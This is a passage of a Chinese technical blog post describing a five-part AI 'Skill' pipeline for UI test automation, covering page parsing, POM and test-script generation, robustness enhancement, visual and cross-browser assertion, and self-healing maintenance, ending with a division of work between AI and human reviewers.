&lt;td&gt;抓元素方式、定位策略、命名规范各写各的，维护成本极高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;这六个环节的痛点，单靠一个 Skill 解决不了。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;很多新手容易踩的坑：想做一个「万能 Skill」，输入一个页面 URL，直接输出完美脚本。一个技能包揽页面解析、元素定位、脚本生成、视觉断言、执行维护，结果逻辑臃肿、维护困难、扩展受限。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260806125923459.png" title="" alt="image.png"&gt;&lt;/p&gt;

&lt;p&gt;正确的做法是，&lt;strong&gt;按职责拆分，每个 Skill 只做一件事，做到极致。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="二、4+1 Skill 全流程架构"&gt;二、4+1 Skill 全流程架构&lt;/h2&gt;
&lt;p&gt;先看全貌。整套 UI 自动化的 AI 赋能链路，由 &lt;strong&gt;4 个核心 Skill + 1 个可选 Skill&lt;/strong&gt; 组成，形成完整闭环（其实当前不算整套闭环，还有执行、自愈、报告生成等 7 个核心 skill 还没讲）：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;Skill&lt;/th&gt;
&lt;th&gt;核心职责&lt;/th&gt;
&lt;th&gt;解决什么痛点&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-page-parser&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;页面元素结构化解析&lt;/td&gt;
&lt;td&gt;人工逐个抓取元素慢、定位脆弱、页面信息不标准&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-testscript-generator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;UI 测试脚本批量生成&lt;/td&gt;
&lt;td&gt;人工编码慢、POM 规范难落地、定位策略不统一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-testscript-enhancer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;脚本健壮性增强&lt;/td&gt;
&lt;td&gt;缺少等待机制、异常处理、弹窗拦截、失败截图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-visual-assert&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;视觉断言与多浏览器适配&lt;/td&gt;
&lt;td&gt;DOM 断言不够、多浏览器兼容成本高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;ui-auto-maintainer&lt;/strong&gt;（可选）&lt;/td&gt;
&lt;td&gt;智能维护与自愈&lt;/td&gt;
&lt;td&gt;页面变更导致脚本失效、维护成本高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260806125813244.png" title="" alt="image.png"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;这几个 Skill 形成完整闭环：&lt;/strong&gt; &lt;code&gt;解析 → 生成 → 增强 → 适配 → 维护&lt;/code&gt;，既能串联使用，也能独立调用。&lt;/p&gt;
 &lt;pre class="highlight shell"&gt;&lt;code&gt;页面 URL / DOM 结构 / 用例描述
  │
  ▼
ui-page-parser ──→ 标准化页面对象定义 &lt;span class="o"&gt;(&lt;/span&gt;pages.yaml&lt;span class="o"&gt;)&lt;/span&gt;
  │
  ├──→ ui-testscript-generator ──→ POM 类 + 测试脚本 + 测试数据
  │         │
  │         ▼
  │   ui-testscript-enhancer ──→ 健壮性增强（等待+异常+弹窗+验证码+截图）
  │         │
  │         ▼
  │   ui-visual-assert ──→ 视觉断言 + 响应式适配 + 多浏览器兼容
  │         │
  │         ▼
  │   ui-auto-maintainer ──→ 页面变更检测 + 定位自愈 + 基线更新
  │
  └──→ pages.yaml 也可直接用于前端组件文档生成、无障碍审计
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;为什么这么拆？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;三个原则：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;单一职责&lt;/strong&gt;：每个 Skill 只做一类核心动作（解析、生成、增强、适配、维护），避免功能耦合。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;闭环衔接&lt;/strong&gt;：前一个 Skill 的输出是后一个 Skill 的输入，形成完整的自动化链路。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;灵活复用&lt;/strong&gt;：每个 Skill 都能独立调用。比如你只想梳理页面元素，单独用 &lt;code&gt;ui-page-parser&lt;/code&gt; 就行；只想增强脚本健壮性，单独用 &lt;code&gt;ui-testscript-enhancer&lt;/code&gt; 也行。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;接下来，逐个拆清楚每个 Skill 的定位和作用。&lt;/p&gt;
&lt;h2 id="三、逐个拆解：每个 Skill 的定位与作用"&gt;三、逐个拆解：每个 Skill 的定位与作用&lt;/h2&gt;&lt;h3 id="Skill 1：ui-page-parser — 页面元素结构化解析"&gt;Skill 1：ui-page-parser — 页面元素结构化解析&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：UI 数据预处理 Skill，整条链路的地基。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;所有后续的脚本生成、增强、视觉断言，都依赖这一步的输出。解析不准，后面全部不可靠。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260729170137830.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;传统模式下，测试工程师需要打开浏览器 DevTools，逐个检查元素属性、复制 XPath / CSS Selector、分析页面加载时序、梳理交互流程。面对现代前端框架构建的单页应用，元素的动态生成和异步加载让这个过程格外痛苦。&lt;/p&gt;

&lt;p&gt;让人工梳理一个 20 个页面的系统，每个页面平均 100 个可交互元素，可能需要 3-5 天，还容易遗漏动态元素、iframe 嵌套、Shadow DOM。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;全站自动遍历&lt;/strong&gt;：从一个入口 URL 出发，基于 BFS 爬虫机制自动发现并抓取全站页面，不需要逐个提供 URL&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;认证页面解析&lt;/strong&gt;：通过 CDP 连接复用登录态，解析需要登录才能访问的页面&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;智能定位策略推导&lt;/strong&gt;：按优先级自动推导最稳定的定位策略（&lt;code&gt;data-testid&lt;/code&gt; &amp;gt; 语义化定位 &amp;gt; CSS &amp;gt; XPath）&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;页面元素结构化提取&lt;/strong&gt;：元素名称、类型、交互方式、等待条件、关联校验&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;交互链路解析&lt;/strong&gt;：主流程步骤、异常分支、页面状态迁移&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;隐性规则识别&lt;/strong&gt;：弹窗触发条件、异步加载模式、iframe 嵌套关系&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;自动截图归档&lt;/strong&gt;：每个页面抓取时自动保存截图，方便核对&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;页面 URL（自动抓取 DOM）&lt;/li&gt;
&lt;li&gt;页面 HTML/DOM 结构文件&lt;/li&gt;
&lt;li&gt;前端组件源码（React/Vue/Angular）&lt;/li&gt;
&lt;li&gt;自然语言用例描述（AI 推断页面结构）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;标准化的 &lt;code&gt;pages.yaml&lt;/code&gt;，包含每个页面的基本信息、元素清单（含多级定位策略）、交互链路、页面状态。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260729170727397.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260729170841534.png" title="" alt=""&gt;&lt;br&gt;
&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;替代人工逐个抓取元素、分析页面结构，把数小时甚至数天的体力劳动压缩到几分钟。解析逻辑本身重复且专业，单独封装成独立 Skill，既作为后续所有 Skill 的标准输入，也可被非测试场景复用（如前端组件文档生成、无障碍审计）。&lt;/p&gt;
&lt;h3 id="Skill 2：ui-testscript-generator — 页面对象与测试脚本批量生成"&gt;Skill 2：ui-testscript-generator — 页面对象与测试脚本批量生成&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：基于结构化页面定义，一次性批量生成 POM 类、测试脚本、定位策略和测试数据。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529134346782.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pages.yaml&lt;/code&gt; 拿到手了，但要把这些结构化的页面定义变成真正能跑的测试脚本，传统方式下还是得人工从零编写 POM 类、逐条编写用例、逐条构造测试数据。一个登录页可能还好，但如果是 20 个页面、每个页面几十个元素、每个元素要覆盖正向/边界/异常/安全多种场景，这个工作量是爆炸的。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;测试数据智能构造&lt;/strong&gt;：基于页面表单字段定义，自动生成正向数据、边界值数据、非法格式数据、空值/缺失数据、SQL 注入/XSS 数据、超长/超量数据、业务规则冲突数据&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;POM 类自动生成&lt;/strong&gt;：每个页面对应一个 POM 类，封装元素定位与业务操作方法，自动处理动态 ID、iframe 嵌套、Shadow DOM&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;智能定位策略落地&lt;/strong&gt;：优先 &lt;code&gt;data-testid&lt;/code&gt;，其次语义化定位（&lt;code&gt;getByRole&lt;/code&gt;/&lt;code&gt;getByLabel&lt;/code&gt;/&lt;code&gt;getByText&lt;/code&gt;），兜底 CSS Selector，禁止长 XPath&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;测试用例自动生成&lt;/strong&gt;：按场景分类（Normal/Exception/Boundary/Security），自动绑定测试数据，自动补充多维度断言&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;标准化逻辑补全&lt;/strong&gt;：智能等待、异常处理、失败截图、Allure 注解&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;一个关键设计决策：数据生成与脚本生成合并&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;UI 测试的数据构造与脚本编写高度耦合——同一表单字段的测试数据直接驱动对应的页面操作步骤。因此将两者合并为一个综合 Skill，比拆分为独立 Skill 更符合 UI 自动化的实际工作流。用户只需输入页面定义，一步拿到完整可运行的项目。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529135628802.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529135806870.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529140037808.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;ui-page-parser&lt;/code&gt; 输出的 &lt;code&gt;pages.yaml&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;团队 UI 框架规范（框架选型、目录结构、定位策略优先级、等待机制、断言策略）&lt;/li&gt;
&lt;li&gt;测试数据规则（可选，用于自定义数据构造规则）&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;pages/&lt;/code&gt; 层：页面对象类（如 &lt;code&gt;LoginPage.ts&lt;/code&gt; / &lt;code&gt;LoginPage.py&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;testcases/&lt;/code&gt; 层：测试用例脚本（如 &lt;code&gt;test_login.spec.ts&lt;/code&gt; / &lt;code&gt;test_login.py&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;data/&lt;/code&gt; 层：测试数据文件（YAML/JSON）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;替代人工从零编写 POM 和用例，一步完成「数据 + 页面 + 用例」的全量产出。特别适合快速落地、小型项目、新手入门，上手更快、操作更简单、一步生成即用。&lt;/p&gt;
&lt;h3 id="Skill 3：ui-testscript-enhancer — 脚本健壮性增强"&gt;Skill 3：ui-testscript-enhancer — 脚本健壮性增强&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：对基础脚本进行自动化增强，让脚本从「demo 级」进化为「生产级」。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529155545345.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ui-testscript-generator&lt;/code&gt; 生成的脚本，结构规范、用例完整，但缺少生产环境必需的健壮性逻辑。具体来说就是：没有智能等待（或硬编码 &lt;code&gt;sleep&lt;/code&gt;）、没有弹窗拦截、没有 iframe 自动切换、没有异常重试、没有失败追溯、验证码直接拦死。&lt;/p&gt;

&lt;p&gt;demo 级脚本能跑通，一上 CI 环境就各种挂。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力（六大增强维度）：&lt;/strong&gt;&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;增强维度&lt;/th&gt;
&lt;th&gt;解决什么问题&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;智能等待补全&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;替换硬编码 &lt;code&gt;sleep&lt;/code&gt;，自动补充页面加载等待、元素可见性等待、Ajax 异步等待、动画过渡等待、元素状态变更等待&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;弹窗与干扰处理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自动检测意外弹窗（广告、权限申请）→ 尝试关闭 → 继续执行；Toast 消息自动捕获与断言&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;iframe/Shadow DOM 处理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自动识别 iframe 嵌套 → 切换上下文 → 定位内部元素；Shadow DOM 穿透定位&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;异常重试与容错&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;元素未找到自动重试 3 次 → 截图存档 → 记录日志；页面崩溃自动刷新恢复；网络超时自动重试&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;失败追溯增强&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自动截图（失败时全页截图）、自动录屏（Trace 文件）、自动记录网络请求日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;登录验证码识别&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;图形验证码、滑动验证码、文字点选验证码、计算题验证码，自动识别并处理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ui-testscript-generator&lt;/code&gt; 输出的基础 UI 脚本&lt;/li&gt;
&lt;li&gt;页面交互规则和特殊处理需求（验证码类型、异步加载模式、弹窗触发条件、iframe 结构）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;增强后的 UI 自动化测试脚本 + 增强配置文件（如 &lt;code&gt;enhanced_base_page.py&lt;/code&gt;，封装了所有增强逻辑的基类）。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;过滤 AI 生成脚本的「脆弱」问题。一个 &lt;code&gt;@retry_on_failure&lt;/code&gt; 装饰器就能让失败的用例自动重试，一个 &lt;code&gt;ddddocr&lt;/code&gt; 集成就能让验证码不再拦截自动化流程。脚本不再只是「能跑」，而是「跑得稳」。&lt;/p&gt;
&lt;h3 id="Skill 4：ui-visual-assert — 视觉断言与多浏览器适配"&gt;Skill 4：ui-visual-assert — 视觉断言与多浏览器适配&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：为 UI 脚本添加视觉断言能力，实现跨浏览器、跨分辨率的兼容性验证。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529183958465.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;传统的 DOM 断言只能验证「元素在不在」「文本对不对」，但测不出「页面看起来对不对」。元素存在、文本正确，但布局错位、颜色不对、响应式崩塌，DOM 断言照样全部通过。&lt;/p&gt;

&lt;p&gt;更麻烦的是多浏览器兼容。同一套脚本在 Chromium 跑得好好的，换 Firefox 点击坐标偏移，换 WebKit 样式渲染不一致，适配成本爆炸。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529184337066.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力（三大维度）：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;维度一，视觉断言。&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;全页截图对比：将当前页面截图与基线图片进行像素级比对，自动识别视觉差异&lt;/li&gt;
&lt;li&gt;局部元素截图对比：针对特定组件（如导航栏、卡片、表单）单独截图比对&lt;/li&gt;
&lt;li&gt;动态区域忽略：自动识别时间戳、随机数、广告位等动态内容，设为忽略区域&lt;/li&gt;
&lt;li&gt;像素差异阈值：可配置容差，避免亚像素级别的渲染差异导致误报&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;维度二，响应式适配。&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;自动生成多分辨率测试配置（桌面端 1920×1080、平板 768×1024、移动端 375×667）&lt;/li&gt;
&lt;li&gt;验证不同视口下的布局一致性&lt;/li&gt;
&lt;li&gt;自动检测响应式断点处的布局偏移&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;维度三，多浏览器兼容。&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;同一脚本适配 Chromium / Firefox / WebKit 三大引擎&lt;/li&gt;
&lt;li&gt;自动处理浏览器兼容性差异（如 Firefox 的点击偏移、WebKit 的 CSS 渲染差异）&lt;/li&gt;
&lt;li&gt;每个浏览器 × 每个视口独立维护基线图片，避免跨浏览器渲染差异导致的误报&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ui-testscript-enhancer&lt;/code&gt; 输出的增强脚本&lt;/li&gt;
&lt;li&gt;视觉基线图片（可选，首次运行时自动生成）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;含视觉断言的跨浏览器测试脚本 + 基线图片库 + 差异对比报告。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529184410119.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;超越传统 DOM 断言，实现「页面看起来对不对」的智能验证。不再需要人肉肉眼去逐个浏览器、逐个分辨率检查，Skill 自动跑完所有组合，输出差异报告。&lt;/p&gt;
&lt;h3 id="Skill 5（可选）：ui-auto-maintainer — 智能维护与自愈"&gt;Skill 5（可选）：ui-auto-maintainer — 智能维护与自愈&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：长期运维 Skill，负责页面变更感知、定位策略自动修复、视觉基线更新。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;UI 自动化的头号杀手不是技术难度，而是维护成本。前端改版是常态——元素属性变了、布局重构了、组件替换了，之前的定位策略全部失效。如果不做维护，脚本很快就会沦为「一次性工程」。&lt;/p&gt;

&lt;p&gt;传统模式下，维护全靠人工：定期跑脚本 → 发现大面积失败 → 逐个排查 → 手动修复定位 → 更新基线。这个循环一旦转起来，维护工作量会越来越大，最终压垮整个自动化项目。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;页面变更检测&lt;/strong&gt;：定时抓取最新页面 DOM，diff 对比识别变更点（元素属性变更、布局重构、组件替换）&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;定位策略自愈&lt;/strong&gt;：基于视觉相似度和语义匹配，自动修复失效的元素定位，更新 POM 类中的定位代码&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;视觉基线更新&lt;/strong&gt;：识别有意的 UI 改版（vs 无意的视觉 bug），自动更新截图基线，减少误报&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;失败根因分析&lt;/strong&gt;：自动分析失败截图、Trace 日志、网络请求，区分「页面变更 / 脚本问题 / 真实缺陷」，生成修复建议&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;历史脚本 + 最新页面结构（定时抓取）&lt;/li&gt;
&lt;li&gt;失败日志与截图&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;更新后的脚本 + 维护报告&lt;/li&gt;
&lt;li&gt;变更通知 + 修复建议清单&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;解决 UI 自动化「维护成本高」的终极痛点。前端改版后，不再需要人工逐个排查失效脚本，Skill 自动检测变更、自动修复定位、自动更新基线，实现可持续运营。&lt;/p&gt;
&lt;h2 id="四、除了 4+1 核心架构，还可以按需扩展"&gt;四、除了 4+1 核心架构，还可以按需扩展&lt;/h2&gt;
&lt;p&gt;上面的 4+1 Skill 覆盖了 UI 自动化测试的核心闭环。如果你的团队有特殊场景需求，还可以在这套基础上补充：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;扩展 Skill&lt;/th&gt;
&lt;th&gt;核心职责&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;跨端适配 Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;专门处理 Web / H5 / 小程序的脚本迁移与适配&lt;/td&gt;
&lt;td&gt;多端业务线，需要一套脚本覆盖多端&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;性能测试联动 Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基于 UI 脚本自动生成 Lighthouse 性能测试配置&lt;/td&gt;
&lt;td&gt;前端性能监控，CI 流水线自动跑性能回归&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;无障碍测试 Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基于 POM 自动生成 axe-core 无障碍审计脚本&lt;/td&gt;
&lt;td&gt;合规要求、信息无障碍标准落地&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;核心原则：先落地前四个最核心的 Skill 实现闭环，再根据团队实际场景扩展，避免过度设计。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="五、全流程串联回顾"&gt;五、全流程串联回顾&lt;/h2&gt;
&lt;p&gt;把整条链路用命令行风格串起来，就是这样的：&lt;/p&gt;
 &lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. 启动解析（一个入口 URL，全站自动遍历）&lt;/span&gt;
/ui-page-parser 请抓取 http://localhost:3000/ 的全站页面

&lt;span class="c"&gt;# 2. 第一站：页面解析&lt;/span&gt;
   ├─ BFS 爬虫遍历全站 → 发现全部页面
   ├─ 需要认证？→ 启动 Chrome，CDP 复用登录态
   ├─ 逐页提取元素 → 每个页面生成结构化定义
   ├─ 自动截图 → 每个页面保存可视化快照
   └─ 输出 pages.yaml ← 标准化页面对象定义

&lt;span class="c"&gt;# 3. 第二站：脚本生成&lt;/span&gt;
   └─ pages.yaml → ui-testscript-generator
      ├─ 测试数据智能构造（正向/边界/非法/空值/注入）
      ├─ POM 类自动生成（含智能定位策略）
      ├─ 测试用例自动生成（含多维度断言）
      └─ 输出 pages/ + testcases/ + data/ ← 完整项目结构

&lt;span class="c"&gt;# 4. 第三站：健壮性增强&lt;/span&gt;
   └─ 基础脚本 → ui-testscript-enhancer
      ├─ 智能等待补全（替换硬编码 &lt;span class="nb"&gt;sleep&lt;/span&gt;）
      ├─ 弹窗拦截 + iframe 自动切换
      ├─ 异常重试 + 失败截图/录屏
      ├─ 验证码自动识别
      └─ 输出增强脚本 ← demo 级进化为生产级

&lt;span class="c"&gt;# 5. 第四站：视觉断言与多浏览器适配&lt;/span&gt;
   └─ 增强脚本 → ui-visual-assert
      ├─ 视觉断言（全页 + 局部截图对比）
      ├─ 响应式适配（桌面/平板/移动端）
      ├─ 多浏览器兼容（Chromium/Firefox/WebKit）
      └─ 输出跨浏览器脚本 + 基线图片库 ← 视觉级验证

&lt;span class="c"&gt;# 6. 第五站（可选）：智能维护&lt;/span&gt;
   └─ 生产脚本 → ui-auto-maintainer（定时触发）
      ├─ 页面变更检测（DOM diff）
      ├─ 定位策略自愈
      ├─ 视觉基线更新
      └─ 输出维护报告 + 修复建议 ← 可持续运营
&lt;/code&gt;&lt;/pre&gt; &lt;h2 id="六、AI 负责干活，人负责把关"&gt;六、AI 负责干活，人负责把关&lt;/h2&gt;
&lt;p&gt;这里有一个关键问题必须说清楚，&lt;strong&gt;AI 生成的一切结果，都不是直接拿来就用，需要人工校验。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这套 4+1 Skill 能帮你完成的是「解析、生成、增强、适配、维护」这些动作，把数周甚至数月的体力劳动压缩到几分钟或几小时。但以下这些事情，AI 做不了，仍然需要人来把关：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;AI 负责的事&lt;/th&gt;
&lt;th&gt;人负责的事&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;全站页面自动遍历&lt;/td&gt;
&lt;td&gt;确认遍历范围是否完整（有没有遗漏关键页面）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;元素定位策略推导&lt;/td&gt;
&lt;td&gt;校验定位策略是否合理（跟真实页面核对）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;测试数据智能构造&lt;/td&gt;
&lt;td&gt;确认数据规则是否覆盖核心业务场景&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;脚本健壮性增强&lt;/td&gt;
&lt;td&gt;确认等待策略、异常处理是否符合真实交互&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;视觉断言与多浏览器适配&lt;/td&gt;
&lt;td&gt;确认基线图片是否准确、容差阈值是否合理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;页面变更检测与自愈&lt;/td&gt;
&lt;td&gt;确认自愈后的定位是否正确（而非「恰好能找到」）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;说白了，AI 负责把「从 0 到 80」的体力活干完，人负责「从 80 到 100」的质量把关。&lt;/strong&gt; 这样既高效，又不会失去对质量的控制。&lt;/p&gt;

&lt;blockquote&gt;
